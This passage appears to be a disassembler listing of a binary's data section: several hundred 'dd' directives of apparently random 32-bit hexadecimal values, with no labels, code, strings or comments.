		dd 0FC93F1B5h, 0B612007Bh, 22EE80CDh, 7C95F028h, 8CE984EDh
		dd 0A5C9ACF1h, 4A3D5BFAh, 603F1A00h, 0E38172DEh, 4814752Ah
		dd 9300B76Bh, 0E93E993Bh, 48C0C560h, 0EC05D829h, 1642711h
		dd 5501017Bh, 886C4968h, 4C907430h, 8F8143F2h, 4179B133h
		dd 0E84289F8h, 9B27E918h, 4CB2F6F9h, 912A37Ch, 0EA8660Fh
		dd 3FCDF724h, 3148AA2Fh, 3D3B4D22h, 2D4B7C32h, 8851CD80h
		dd 0B02DE5F9h, 55129558h, 0A64DE923h, 2A9F0B92h, 88257F2h
		dd 0CCF5C96Dh, 505600B5h, 0C42137B8h, 0CD0BBE46h, 0C2B93BDEh
		dd 0CF8EDD13h, 2F3DF5C8h, 698A51D3h, 0C3019ED3h, 46614CDCh
		dd 0EB281E38h, 87591708h, 0C962ED1Ch, 2C4D227h,	755E18C5h
		dd 51555910h, 0DB5CEBCFh, 89AEA796h, 7F6521B8h,	0AE4AB6DAh
		dd 0DE68C320h, 0B74931Eh, 0B077F5B3h, 823301DDh, 2A6E37C1h
		dd 0C676A8D1h, 0CD07ABBEh, 60162860h, 64A58BF1h, 6EE1304Fh
		dd 27C6F280h, 0A3E9493Eh, 15DF062h, 0A86DF6D8h,	0B8F15BD3h
		dd 0A087E51Fh, 0E7BB3CB5h, 0AFA3D6ECh, 0F29CAFD2h, 642B27E9h
		dd 8D0B3352h, 1DB410h, 4EF9D24Eh, 95E978D4h, 770911C4h
		dd 0DC07D74Fh, 494B1278h, 8AAEC50h, 135D037Fh, 3AD93CBDh
		dd 18A37E1Eh, 0EE36959Fh, 7007B802h, 6E403B85h,	150026FFh
		dd 5CC78131h, 0C137E865h, 0E1B9E30Ch, 7D123FEEh, 92C8AD0Ch
		dd 62F40180h, 0E4C0CCFEh, 92108207h, 75557AE9h,	6E564E1Ah
		dd 22A84052h, 0F82BE116h, 94EED365h, 8B25205h, 3109AB39h
		dd 0F7D100C7h, 4C626BB2h, 0FB00F74Bh, 683FD105h, 0F296780Ch
		dd 0B206C06Ah, 3D380960h, 12DD4868h, 546C6482h,	77CD48E0h
		dd 1E6E270Bh, 273D7845h, 15E0ADE9h, 7B1617BFh, 64805BAAh
		dd 5A65B389h, 0EEBAA10Ch, 681C6F4Ch, 0F42F1524h, 344F792Fh
		dd 0B5EAB017h, 0C5304D02h, 5DEC0858h, 0BDA6FA71h, 2BB32F0Bh
		dd 0C4707692h, 27ECF819h, 0A0A9D45Bh, 52687593h, 1E007F7Ch
		dd 0C1080B59h, 250F03E0h, 27A32A53h, 2B45435h, 0FD4F37A9h
		dd 0C0E48BB8h, 0B8DBB9F0h, 0B81B125Fh, 3D030987h, 3F106175h
		dd 3073C9F2h, 9DBE5A70h, 5CC5C5D4h, 0C16B80FBh,	6248593Ah
		dd 1505712Dh, 0FD896747h, 2C58D80h, 0FB1216A5h,	4941BE31h
		dd 4E3E6850h, 97FDF23Eh, 72D42CB8h, 0D8F6B02Dh,	3C80E688h
		dd 0CB89530Bh, 72752262h, 0EC5A4E2Ah, 0EB82F45Fh, 0AFCD2DCh
		dd 88ACB48Ch, 32923EABh, 3161FEDDh, 4D3367FCh, 0AD4DAA4Ah
		dd 0E06E5B3Ch, 5D04B97Eh, 290D8A06h, 0E98A60FFh, 22B16E0Bh
		dd 8A628B3Eh, 6A140565h, 78C34300h, 5A770E40h, 0ED08429h
		dd 72CA6808h, 0E1E963F0h, 8139EE85h, 0B233A83Fh, 61E97E60h
		dd 515F7C68h, 80842DA1h, 1A58F14Bh, 30C15051h, 7E1207E1h
		dd 0B15B93BAh, 23ED0D90h
		dd 0E4372730h, 7D0F32DDh, 4897956Eh, 8226D6CCh,	0ECB86B85h
		dd 892576A9h, 897FDEFAh, 7DD9087Dh, 45203228h, 0E8C00593h
		dd 826F2C07h, 5C057BE6h, 0FB192CEBh, 0F7C7C060h, 9A0D1602h
		dd 92990963h, 0D8290F0Ah, 83A14A78h, 0EF03DD70h, 206E6E12h
		dd 4B10538Ah, 5868138Fh, 0F9662EE4h, 0D95E82C3h, 302CBED2h
		dd 9DEEA079h, 9DFF62Eh,	8A691B6Fh, 0DF81E058h, 618815B4h
		dd 0EBB801E4h, 6B690635h, 215AD404h, 50E3CBEBh,	8FB3318Eh
		dd 25BA7D08h, 17445440h, 929CDB9Dh, 1E38D852h, 250A4B12h
		dd 2FA3012h, 7D970CFFh,	45E503D7h, 2FBD8FE9h, 30016CD8h
		dd 980C1D7Ah, 8E2DAF86h, 4EB78051h, 9F152D22h, 7000BC2h
		dd 0E9DD0159h, 88A0347Ah, 16EEFC30h, 0E1B9A665h, 2FE6E3BEh
		dd 7613F885h, 0C9BC275Eh, 2A37ED49h, 308D6913h,	0A3EB446Eh
		dd 283E5446h, 9227A652h, 40695CBFh, 4B7E6B5h, 78C78027h
		dd 83CBEBCAh, 84ABD259h, 4900EDCBh, 0D7F7F987h,	4D909CDh
		dd 8D247B40h, 59F7638h,	0A5509BEAh, 4038B91Bh, 772AE908h
		dd 0D68096CCh, 0F0982EF1h, 417E5D4Ch, 586F2007h, 77C05E5Eh
		dd 0E295ABF5h, 0E7E93884h, 3D89F3CBh, 0DC352D53h, 9374A5FBh
		dd 0D6ACEA8Bh, 5478CB68h, 1179E135h, 0CB1EA21Ch, 0D101FF8Bh
		dd 57F4960Eh, 0C592E3A5h, 0ABA0DBE9h, 55982768h, 0AE60CB76h
		dd 4E71A630h, 0FC12FE5Fh, 7D54550Bh, 837DED33h,	1BC7824Bh
		dd 4E3784A0h, 350BF74h,	0A2E2D128h, 3B5EA524h, 0D2F74A02h
		dd 3A8BDD52h, 0EE455E60h, 312B0F0Fh, 0FAD23CD7h, 26C18FA9h
		dd 6A93F594h, 5E4ADEE0h, 5EF9A73Dh, 92C1F8B0h, 0B2F9803h
		dd 0E8DC18AEh, 467F1C70h, 8714D92Bh, 5D65571Ch,	0E9276736h
		dd 27EF56EEh, 2D8B655h,	52CAEB80h, 464178B2h, 7F432E2h
		dd 534F7419h, 740A7029h, 494202CFh, 9318E914h, 0BFC16EDFh
		dd 0E9090B71h, 6AEC7C0Ah, 19203A0Fh, 1B4424A0h,	9A9D4B3Dh
		dd 1727ACh, 9C2D3988h, 322974Fh, 0EC541ECh, 0F063C82h
		dd 219B5D5Bh, 0F3814388h, 0ADB2B00Fh, 0EB573F40h, 0E9C4AF1Ch
		dd 0AE1EDD2Eh, 0A49E3518h, 2909CB98h, 804ACD55h, 626A231h
		dd 0E4B617Dh, 6009F9F8h, 489DDDABh, 4D29E915h, 71057DE6h
		dd 817DB440h, 87E1910Eh, 77ABED53h, 0AFC02165h,	4E847EACh
		dd 4175FD44h, 35B45008h, 10013849h, 89072325h, 0E06A576Ah
		dd 0AC055EBAh, 7775BF3Fh, 0F73DAEF8h, 0E4F84Fh,	42163035h
		dd 0F197684Fh, 77396B26h, 17B9A93h, 0AC173590h,	97949F49h
		dd 0E975FCC2h, 682068CAh, 5470130Ah, 13D4AA21h,	0F71511FEh
		dd 3CDE0075h, 76B9EDBBh, 64E34C27h, 0C1758344h,	370C3598h
		dd 0C63A636h, 3E1EC906h, 5E4DB290h, 945D7F2Dh, 83E91060h
		dd 0E0B204D6h, 0BAC2CAFEh, 92795602h, 2558BC9Bh, 0BCA322ACh
		dd 3A80AA9h, 4F7D3462h,	7A1A17D9h, 683A37A6h, 53F1732Fh
		dd 4520578Bh, 5596AEh, 0D76FE32Fh, 87EAE972h, 3D823A9Ch
		dd 0DD64A557h, 0A78049E4h, 912547DEh, 0BBA27D49h, 3DF45859h
		dd 8057B560h, 8BB16EDh,	50CE1DEBh, 0DDF61F7Fh, 200AF54Ch
		dd 0B40CCC03h, 0C5F89906h, 0B3530B09h, 135BFC4Dh, 0D346BCF3h
		dd 2D7500EEh, 481561FDh, 5D3E913h, 2B9A79B9h, 53077756h
		dd 0CF8F3A8Eh, 0EBFCF7DCh, 255A7DE9h, 5AC460ECh, 47514853h
		dd 0F10DD07h, 9CED6A70h, 2335C9F5h, 7202C56h, 71A5E4Ch
		dd 3DE5479Eh, 2B5617CFh, 0A9DBECB8h, 6D9E07F1h,	0C2CCDA8Dh
		dd 37C2206Ah, 9057D725h, 767D0F2Dh, 0CECC5E38h,	0C905C674h
		dd 29245B34h, 80685B1h,	534A050Ch, 0F05F09EFh, 0E40AC695h
		dd 961F7554h, 6928D12Dh, 1570AA84h, 2D3350B3h, 37191F13h
		dd 287C4FBh, 0FCE95F08h, 0F327D85Ch, 515A0DE6h,	0C00FCAF6h
		dd 0F03157F6h, 60CDD15h, 0A2141C53h, 25763B0Dh,	0D1C10C2Dh
		dd 88EFE07Ah, 2425DEB4h, 1DE0C0B8h, 1C491EBBh, 0E44B97C9h
		dd 1F71E2EEh, 4797F4Ch,	71A82092h, 0E99580EFh, 1B95FCBFh
		dd 73049597h, 0AC16DCB9h, 0B0C611BCh, 46CAC102h, 0BC7E70AFh
		dd 7D0A9CBCh, 0C490FC56h, 732501C0h, 0EC4C5E4Dh, 0B0CD087h
		dd 591C8B59h, 0D4DEC40Eh, 0C3B7EEE3h, 9241BC5Bh, 0F98901BBh
		dd 200CE93Ah, 4F16F5CEh, 9C18319Bh, 7111C738h, 4486F191h
		dd 0F08C36A0h, 98D77420h, 9A3D3579h, 8ACF835Bh,	8FB70D3Dh
		dd 6D39F780h, 0E2E07FB0h, 17C2F6D5h, 1DD4204Dh,	0E1802069h
		dd 98BD88EEh, 0B5490381h, 0A82FDEE4h, 0F15D81C4h, 9C606E7Eh
		dd 53764166h, 32C13599h, 7A877C36h, 65AE5F5Ah, 0C21BAD7h
		dd 27236537h, 5814C340h, 7E84812Dh, 4609E7h, 88088523h
		dd 543B539h, 61D0AB9Dh,	4F6975D3h, 0C029C407h, 4764C692h
		dd 1259262h, 6B668BEFh,	4B91788Bh, 0F59FD03Bh, 3937771Ch
		dd 0F5E9481Fh, 0D96A8380h, 58B0A1D1h, 97237A00h, 48AE0D7Dh
		dd 357B1C34h, 4A11C951h, 0F0CA304h, 0F06C0268h,	6C527550h
		dd 1E3D7549h, 0B80B43DBh, 0E04DA7F3h, 72D4BDF2h, 9FCB658h
		dd 819BB6E5h, 0DA64077Bh, 88FA5A17h, 0F76585E5h, 0A9215575h
		dd 3101DC11h, 0C99D7BF8h, 14A947Bh, 4A4144D3h, 42F82B42h
		dd 0E933E096h, 64C9B225h, 5E2EC129h, 6E7DF07Ch,	0DDA961C1h
		dd 2A000B79h, 814C0F55h, 662E02E3h, 0EB0E4682h,	0F3E097C5h
		dd 0E9C09F3h, 0D1546CFCh, 5B40F8A8h, 0FC0FDBEh,	82EBAA1Bh
		dd 5FC5E55Eh, 4DB9E7B8h, 7B2E0E04h, 0F2FACE21h,	25E90CCBh
		dd 2BE8ECBh, 2E31154Eh,	46D5DEF7h, 0B8466963h, 26398700h
		dd 0E92FD3ADh, 27D659A5h, 16F6CEDAh, 9A026B9Fh,	4452443Dh
		dd 0F101C3E0h, 68348F21h, 219D7EF9h, 7AF1A73Dh,	0EE65408Bh
		dd 0D46818DCh, 9891311Ch, 73C98080h, 4AF1382Eh,	4259CA1Eh
		dd 0D4301FEAh, 0D9811B5Fh, 690FFECh, 87A04F85h,	0E3283FFCh
		dd 0BCDAEB3Ah, 0C0FAB4D7h, 0F280BE78h, 0CA00B073h, 3E2C002h
		dd 2F97B151h, 0B10561E9h, 95D7875Bh, 24CAB4E6h,	16E3E844h
		dd 0FAB77796h, 53D7A190h, 0EC4250ACh, 0A211357h, 8C1D8136h
		dd 0C472382Ch, 4A095E9Bh, 29175A80h, 0DEBD0279h, 0D2F74340h
		dd 0F200047Ah, 0A5749E9Bh, 0BE7C2DE9h, 5C9862CEh, 0F8F43277h
		dd 0A66141Eh, 0DF06EE85h, 0B59960E9h, 2630CD76h, 70ED6CB2h
		dd 2AC03065h, 0FED8FC0Ch, 0FFEC2B4Eh, 7B26E90Bh, 0C450F8D4h
		dd 279C9D95h, 3D1796A0h, 0B425CD30h, 96A04839h,	2BB40F18h
		dd 7DE945FDh, 0AEA894F8h, 4FFBFBC8h, 0CD2DAFB4h, 4F5BD7Bh
		dd 74EF1307h, 0CD1E18BCh, 4E9CC941h, 48464E83h,	9668620Bh
		dd 0AD713017h, 39E3162Ah, 27F3E829h, 0D1A82250h, 948525Ah
		dd 6C107D2Fh, 700DC62h,	27786859h, 49EEB6h, 6F0FCD74h
		dd 750D0041h, 51FB93Eh,	0AC3A0386h, 7FF9801Bh, 0AD35132Eh
		dd 0D93627B0h, 0EEF0847Fh, 67BB65D0h, 51974C15h, 0BBE88C13h
		dd 512778Eh, 258E4BB4h,	0B5BE6D7h, 6A6E1767h, 46D03709h
		dd 70AF594Bh, 0B431D90Bh, 1F53948h, 700C18F7h, 177FAAE9h
		dd 7E38EEBEh, 4F3F9257h, 61EE54h, 413AE659h, 4C2D5276h
		dd 1086E73h, 745B1829h,	77132A65h, 0DCF0463Ch, 0B8569D01h
		dd 4E036850h, 1E83227h,	0B80C4770h, 400F303Ah, 36EC4DB5h
		dd 808BFB22h, 814A62C2h, 147078DEh, 17C7BDF2h, 931145ADh
		dd 0AB3DEF5Bh, 12CBB67Ah, 39BF2B1Dh, 89C12FF5h,	0F768BEE9h
		dd 0F931661Dh, 8C8579CCh, 55598CB3h, 2B9E5AFCh,	0C8010Bh
		dd 8F14DC13h, 0E9C14024h
		dd 8292F3E8h, 0D724EB77h, 0C5929974h, 5D72B201h, 0D5E1588Fh
		dd 0C6C77889h, 2929756h, 7389601h, 0E16A3437h, 71A83E85h
		dd 11075E92h, 16EE054Ah, 2D832922h, 5A1DECB9h, 325EB333h
		dd 0B0F50072h, 9D4BD926h, 14643CD4h, 62BDD20Eh,	0F1E50E5Ah
		dd 76F94D9h, 80FE2838h,	2095EE80h, 8E8F14Ah, 132EF226h
		dd 689261BEh, 0B20D009Bh, 11AC012Ch, 62976135h,	66F32BDAh
		dd 254431C1h, 0CDCB7E40h, 281A6809h, 1992A630h,	35394B00h
		dd 502F17E3h, 0DD81EF7h, 3128BBEDh, 0C03DD1A7h,	10869524h
		dd 0EBF05B37h, 3C20F783h, 667340E3h, 4F1C55B2h,	0D01F722Ch
		dd 2E8F6DFAh, 14C8EA6h,	43B55165h, 5059D828h, 295590A1h
		dd 7B6A204Bh, 0A00227FEh, 9AF6E74Eh, 0F12D0BBCh, 2456E61Eh
		dd 5F17099Fh, 14EEDB48h, 215E4212h, 0F6107CF9h,	685804D3h
		dd 9ED85AA1h, 9671732h,	92580374h, 3210B336h, 2C009714h
		dd 0D8285AA2h, 564B4668h, 480448E3h, 84E92204h,	74F4AE37h
		dd 7366795Ch, 1732CBF9h, 0F889AEDBh, 4E12F7B1h,	68131A50h
		dd 16623EEBh, 0D510EA9Ch, 5EB545FAh, 0F17F18E6h, 11BB5E52h
		dd 56680A3Ch, 0EAC7FC15h, 75786E92h, 0B9513340h, 1914D50Bh
		dd 5CDD00Dh, 0E905A877h, 0BFB44269h, 0E9423FACh, 7B9FA780h
		dd 0E9137A25h, 0C0F84399h, 7972EFD7h, 0BD667777h, 54396816h
		dd 21F4F9F8h, 7BEC685Ah, 0ADD36AECh, 1BB992B1h,	0C46652D7h
		dd 61E582E8h, 5062794Ah, 8E820379h, 0DD3CA969h,	77159FB3h
		dd 2C236E9h, 0B0701ABDh, 0E807F730h, 0F10DE43h,	0AE621BEFh
		dd 0B82DF54h, 562C5855h, 420635A0h, 31D64017h, 0D84398C1h
		dd 0F75A08AAh, 69799AC0h, 822C7FC7h, 0B56B78Ah,	0ECDAD2BAh
		dd 0B060F3EEh, 8F62D86h, 0E88F9025h, 0FB558265h, 519C3E51h
		dd 0BA5D27D8h, 49C55C17h, 0E3C28654h, 24F11A1Ch, 79A1EE81h
		dd 0B53F22A3h, 0AD08041Dh, 706611E4h, 0F66ADD41h, 6215C968h
		dd 7F165564h, 0DE9E2991h, 0E7E9F382h, 249464A3h, 82CAD5C7h
		dd 29F4684Ah, 5E61CE74h, 60F64C42h, 2F2F194Dh, 0ED5365Ch
		dd 7F4B7DDDh, 4107A418h, 0FBBBDB83h, 7076EACAh,	0F6801362h
		dd 81DFAF8h, 0C432C68Fh, 0FEF4B2ECh, 0E37C179Dh, 0BA84AF51h
		dd 6AC10857h, 2D80308Ch, 0CFADA3C7h, 0D200054Ah, 2D3CE70Dh
		dd 4F5468EAh, 5E9E13Fh,	8BB10107h, 6A286333h, 0B80ED098h
		dd 9722FB5h, 4D4BF6F8h,	7AB8E500h, 950E8851h, 31200650h
		dd 500F20FEh, 49C02D05h, 0D8A03638h, 25031291h,	4EC00145h
		dd 3EFBE91Eh, 58641F87h, 56F48697h, 72A288A8h, 0FB27257Ch
		dd 0A89A4580h, 0FD5182C5h, 6DA98415h, 0BF8794BEh, 27E97738h
		dd 68C5A058h, 286FDC08h, 55570887h, 2CBF116Dh, 29890209h
		dd 0C2CF84D9h, 20B1F3AAh, 3573B789h, 0C31CF5A5h, 903DD3BDh
		dd 5D5EA202h, 326252D1h, 0FA3103AFh, 24F981B9h,	6C0FEB66h
		dd 6B40C556h, 68C47687h, 673101C2h, 0FD4217EFh,	0D07BA537h
		dd 4E35F047h, 0DD8BB83Bh, 0F3088D31h, 7AF12D3Ah, 3A39F5E8h
		dd 52A0CB80h, 0D3E91DB2h, 8FD4819Dh, 0E37A3042h, 9B1FD699h
		dd 574B2620h, 0FADB1630h, 0B7A292Dh, 0B55CACB0h, 0D7F244E2h
		dd 5D4BCC14h, 5F5AE205h, 7F1501FFh, 6F21380Dh, 196ABA3h
		dd 0B51A65EEh, 5AC26807h, 51C9A8E8h, 0FCD54CDFh, 8D584FA6h
		dd 0EDF62FEDh, 70802D05h, 283DF85Dh, 61F80705h,	0A2B5513h
		dd 0CB13180Ah, 81905167h, 0BF731F3Ah, 607BB2B0h, 3A50EF96h
		dd 171CB7E8h, 0E708E690h, 61F7E58h, 2077D8E9h, 0A707B43Bh
		dd 574AE2B2h, 0CDB7BE4Eh, 0AE2C387Bh, 706860F8h, 30ED7C64h
		dd 275F8433h, 0B6A73899h, 43800E42h, 78FB7617h,	60712C8h
		dd 2441686Bh, 5250E379h, 0B397D3E2h, 24728276h,	266A1814h
		dd 919BB575h, 8AE8C9CAh, 7DEEF1F7h, 58ECF45Dh, 42497FA4h
		dd 0CE810102h, 6BBF12E4h, 0B793DC20h, 0CB896CB0h, 1315C4B5h
		dd 4417D39h, 1392C560h,	0DE7C05AFh, 74D9EBE7h, 92AFED3Ah
		dd 0B851C0E0h, 121E58A7h, 0FE702084h, 0A22E979Dh, 20A09FF8h
		dd 0B03EC320h, 0C03FFECEh, 88E8E4E8h, 5103BB52h, 8E42121Eh
		dd 560D1F0Ch, 6A612F3Bh, 4913396h, 67542990h, 796186C7h
		dd 0A53A1BADh, 9C0805AAh, 314A972Ah, 0BD02B1F7h, 0E7C5737h
		dd 45005376h, 0AFE9317Eh, 0ABF7D39Fh, 0DFD3757h, 1FE00EE4h
		dd 90CEBA13h, 683A285Bh, 4658CB27h, 0CC332A39h,	0BA56F021h
		dd 80BE049Eh, 0BAF8AC7Bh, 7D92B592h, 0E8C32720h, 174AD193h
		dd 0D9006EC4h, 1C7E50F1h, 0B18E32E9h, 99C1D853h, 64D4C601h
		dd 0F5225540h, 5FDBCB1Ch, 68043BE5h, 4EA8460Bh,	851909B5h
		dd 77EB605Eh, 8275B02h,	0FE3AE05Fh, 7E8076CDh, 20629043h
		dd 5E4E0E48h, 0A7BA14C4h, 815C0034h, 0BD7FD2F3h, 85E92F1Bh
		dd 3E5B2661h, 0BAB678A8h, 44656812h, 1BC962ECh,	5D9EE2FFh
		dd 0F1310734h, 0B55125B1h, 44BA85CBh, 166F3E82h, 7DD5C407h
		dd 20C69A6h, 0C5AC567h,	0E8F0E8E9h, 1AC8312Fh, 0C3AED69Ah
		dd 620FB2CAh, 131A75BFh, 138FF5E0h, 1C816E5h, 0E44D2416h
		dd 3C74F95Dh, 0EF0118A1h, 81825E10h, 985BBC66h,	54EABADh
		dd 0C2ED272Dh, 91810058h, 0BD903AB0h, 39F07827h, 31862D34h
		dd 2A09CA42h, 0F87FE915h, 346F13E9h, 49E763CCh,	0D29D3B35h
		dd 96F3EDEBh, 0BF354D18h, 0B03A3E3Bh, 0AAE78182h, 2E605537h
		dd 5A2487EFh, 0AD3F846Eh, 0A6C15317h, 5B3200CAh, 0CA812046h
		dd 9962BC16h, 0E8ADE06h, 7CAC1399h, 9459C594h, 0B38EEEADh
		dd 2A89BD4Fh, 459F8825h, 48CA8A4Ch, 89ECA562h, 2E4CEB59h
		dd 20137C50h, 9DF89325h, 4810B250h, 0F7B0F458h,	0B3A2205Fh
		dd 812E1A0Ch, 0C2073005h, 0B40491E3h, 0FE1798E1h, 4E16CC36h
		dd 318746A7h, 0EF0BF311h, 8018E663h, 21C5E238h,	0F70B02CBh
		dd 0D13BE9D2h, 90056C7Fh, 41C35F08h, 6A4DC183h,	21AD4079h
		dd 740B7A78h, 922DBCE9h, 0CCD18476h, 0D425FE13h, 5D1F8BBBh
		dd 55949F15h, 0AE68C2DFh, 30ECD512h, 99EAE910h,	45B95101h
		dd 2A5D3A38h, 81003CE2h, 0DB9DF9F1h, 0CE2F09BEh, 0ED478259h
		dd 0FD6801F2h, 7B982E77h, 2DD32505h, 3B02EA81h,	1AB2001Dh
		dd 0E9170A03h, 27DCC08h, 7532307Ch, 5D57F460h, 62B3312Ch
		dd 0F129943Ah, 0D8D127E2h, 916D3226h, 497CC14Ah, 60E58A7h
		dd 12F9721h, 8B0228F9h,	4F460663h, 2DA25D47h, 9576EC8Ah
		dd 2FD9B588h, 4908C5FCh, 6A7E30B8h, 417B114Ch, 0A3C09B5Ah
		dd 97F932Dh, 0C689B727h, 4072584h, 0C7EF3804h, 7FB34BD2h
		dd 0B2F3D883h, 0EB68EFE0h, 9AF35C4Bh, 0EDC0DB03h, 22F15307h
		dd 0C06D3C50h, 8AC180A1h, 6AB62652h, 5DAE1E61h,	0ED1F3ECDh
		dd 0B7F5C221h, 255EE30h, 812079C6h, 639DE9C6h, 740D292Eh
		dd 7BEB687Dh, 4F2016D8h, 38F13708h, 3DCC5DE9h, 0F84FF69Dh
		dd 0C21CBD55h, 0E9872E3Ah, 0DD0BB67Eh, 5B9000E8h, 0AD7AE23Eh
		dd 5D826265h, 0FBC19043h, 581097BCh, 6E7437EDh,	7DEA12ACh
		dd 39041DB0h, 0BAAF6A3Eh, 11A96EC3h, 850ABCA9h,	640A309Ch
		dd 123775F0h, 0F832D94Ch, 0D8A0738Ch, 8265C1h, 52503CEFh
		dd 62E5F63Dh, 3664EB76h, 0F15A966Ch, 0AD5FA1A8h, 3914C8DFh
		dd 33A0E720h, 702613F7h, 59069C3Fh, 90D9B3Eh, 72960A89h
		dd 0FE032C80h, 0E912CDEFh, 74BFB1B7h, 149B024Bh, 0A2602D78h
		dd 0C00B05C5h, 7F010CD6h, 2D051E46h, 543D71C1h,	0D9A83985h
		dd 21462503h, 47A87372h
		dd 403AE63h, 0C27CD405h, 56FD1213h, 38B6F3A4h, 710D2F68h
		dd 4A2A619h, 0A2CC39E9h, 2349BCDh, 0BD4892E8h, 6CF23179h
		dd 0BC525830h, 98E0EA0h, 107A6866h, 2842181Ah, 87FFEC29h
		dd 0DA0B6440h, 3F7C0BF9h, 16777DBDh, 6293945Eh,	97C7C48h
		dd 552ED087h, 2C76F69Bh, 4F6903EBh, 0E5B07BCBh,	3EEB23D8h
		dd 30DE4580h, 0A4775E3Ah, 7DF6EBF4h, 0AC4DF72Eh, 2454BA01h
		dd 41F3013Ah, 1CA0081Ch, 0F05D4E14h, 0A840AB34h, 80E103D0h
		dd 0D1F6D2F1h, 0D60E0467h, 0CAA425A9h, 0D623CBB4h, 2C5C812Eh
		dd 0BDD82B21h, 5901403Bh, 3ABA575Fh, 0FBB0284h,	577AC3C0h
		dd 0F931B560h, 0E1C15F7Eh, 5168C8C5h, 4C50A620h, 4EC1038Ah
		dd 2B025E75h, 92305129h, 9E3C060Dh, 7C4E460Bh, 0E21E8A01h
		dd 3E7068C3h, 0C83FC151h, 5DEA5180h, 2965AA03h,	96FE29Dh
		dd 965DD08h, 4EECC396h,	0E9B37442h, 18775BFAh, 80F857F7h
		dd 0F2774B8h, 868ED593h, 0BF0BC473h, 0C0D3C6A3h, 3855BC64h
		dd 68575F00h, 796E7AB1h, 84EE4BE9h, 3F4A7DC2h, 0ED3EAACDh
		dd 660B9642h, 971A5BD4h, 7D39FF53h, 0D05468A5h,	0FF23E98Bh
		dd 0F57708AFh, 0E3DC03A3h, 0A82D1600h, 296A6779h, 525501F8h
		dd 0A6435468h, 1F0F2B0Ch, 0AB34A017h, 99EE4EE9h, 0D37A10D5h
		dd 0F6538612h, 0E68CD146h, 7CBC2729h, 0FEB55BCCh, 5CEA601Bh
		dd 2B5F0C4Eh, 841CAADh,	0EA9CD87Eh, 450DB4C4h, 0C7818DD0h
		dd 1FC87507h, 96788A05h, 438EE118h, 0C1E59C91h,	2EC4C3A2h
		dd 30B212ECh, 753C4A7Fh, 0E9502CF1h, 443AEB5Eh,	52D3EABCh
		dd 805420Ch, 0E394C35Bh, 43DB323Bh, 0FECB0E0Fh,	0DBF7C73Ch
		dd 58D387F3h, 0DA17CA0Ch, 0BBFC5FC9h, 2409AFA5h, 464584F7h
		dd 4A690D80h, 0EF184F84h, 43A6A906h, 0F2425C81h, 9F68F905h
		dd 0F5A10047h, 52408D20h, 0EFD95E50h, 0F470310Dh, 95066054h
		dd 50F6B511h, 720EE9C2h, 0BBA2BDC0h, 56E14819h,	0EE0F2BC1h
		dd 9724C1BDh, 0B47F0907h, 0F6B5511Bh, 0D590540Bh, 0E201FD1Dh
		dd 0CF6E7865h, 0CEA17A64h, 81D33147h, 5ECBC3ACh, 0F3D8226Ch
		dd 0D8BC04EEh, 42DA8964h, 571F15E9h, 5E7F3422h,	2C9BA0D7h
		dd 495768F5h, 2810903Ch, 18E45A52h, 8578B73Eh, 662ED0F8h
		dd 629D915Ah, 26491A6h,	607329F4h, 92CDCBFDh, 44480E2Eh
		dd 1C6F0055h, 41351B16h, 904AEE46h, 7EF1482Bh, 3A768C2h
		dd 0F22CC655h, 30185E3Ah, 0D6C65E0h, 3BB96D13h,	7F87900Bh
		dd 0F9C17A40h, 1561231Dh, 241D10AEh, 3F001CD6h,	53442F1Ah
		dd 0F1F94021h, 1055090Ch, 2FE3611h, 68FDEBADh, 19555791h
		dd 82640B50h, 0E068FF21h, 4C9AE8A5h, 474B0189h,	6F298A16h
		dd 0F91D46Fh, 2DBC62B2h, 54C9E5D1h, 3768C13Bh, 21BF5163h
		dd 0E33500A4h, 10F50022h, 0C158C609h, 0FDA002E6h, 3B277237h
		dd 0CF3A6831h, 0C158810Dh, 0B050E4D1h, 0FB0C301Fh, 0F228C289h
		dd 0ED9B019Ah, 895B3987h, 2F6F66DDh, 0C264FC31h, 10905F53h
		dd 46799F2Dh, 416D374Ch, 0EC0804AAh, 0BAC0126Dh, 2E149CBBh
		dd 53B9175Bh, 12B7B984h, 4EB707BFh, 0DC42BB8Ah,	2B0641h
		dd 3DD9DCBDh, 0BE1A7FD0h, 3BAF43A2h, 11F0D52Bh,	78D274B5h
		dd 0AAA9B6DBh, 6D927A06h, 0FAE5572Ch, 0A908C7ACh, 0ADAD1475h
		dd 0D9609C04h, 0FB4E8126h, 0A0EE049Ah, 0B538ADC9h, 0ED76CCFFh
		dd 53CD7120h, 920F03h, 0DFC0DA4Fh, 0F03E0109h, 842D528Bh
		dd 0C9EC49E9h, 33B70928h, 0C35514ACh, 0D05F20C8h, 0ADDE293Eh
		dd 0FD18556Ch, 68BFEDB7h, 9758C145h, 7C9CA79h, 7005D07Dh
		dd 62470CEAh, 0F4728616h, 512EE779h, 81403CF2h,	0A1063834h
		dd 5AC0BFE1h, 0A807B743h, 0DBA8BEEBh, 49CC053Bh, 56F08C3Eh
		dd 6D00BD7Ch, 0DA0E20BFh, 0F7811A01h, 53917796h, 3C89BD40h
		dd 25D0985Ch, 7F9B45C9h, 473F6C9h, 6EC5DCAAh, 0BC080B44h
		dd 0DFB2D4Dh, 8AFE5F12h, 0DA2E1043h, 8DDF716h, 5027C276h
		dd 0BFFAFED7h, 0A8597904h, 9D68A0CEh, 6F369639h, 45AD1F6Dh
		dd 4C1BB70h, 0DC6FCFDDh, 2BD5406h, 774BB975h, 0F7262A47h
		dd 621F425h, 154653E9h,	0A0DAEA81h, 990BF7DDh, 7F53FC2Ah
		dd 804EBC2h, 4050CB59h,	3604EBD7h, 6EE90E9Ch, 905587E0h
		dd 548E0CDFh, 0E3186D1Bh, 0F025C4B7h, 24EB5B87h, 0A8F301A1h
		dd 63B2920h, 4C8A0B74h,	0A6C23E94h, 6E0D8257h, 0DE66C075h
		dd 0C6312B5Bh, 0C5E98470h, 2F3788F0h, 44C1191Eh, 97DFE1CAh
		dd 0ED6C7D6Bh, 5A1FD20h, 8B285A68h, 5B40CB5Eh, 8BFCA1C5h
		dd 0CF07B01h, 2868FE9h,	5825F29h, 270A9436h, 38BC4717h
		dd 6C97EA80h, 0A8BD4B57h, 0FA330874h, 0AE92F3E2h, 89A12F6h
		dd 5587062Bh, 592540FAh, 0B816F65Fh, 5D4A5720h,	15E60E0h
		dd 35054671h, 0C9414ACBh, 0B110DC48h, 68743B27h, 971450FBh
		dd 0C94E6159h, 0DAA6C902h, 2BF7D24h, 21F20980h,	0E960CF81h
		dd 0CD35DA0h, 8869205h,	0F4E07982h, 0D249A8h, 613D3B24h
		dd 200CF269h, 0DEBD35ABh, 2180DA95h, 639644A9h,	68408D90h
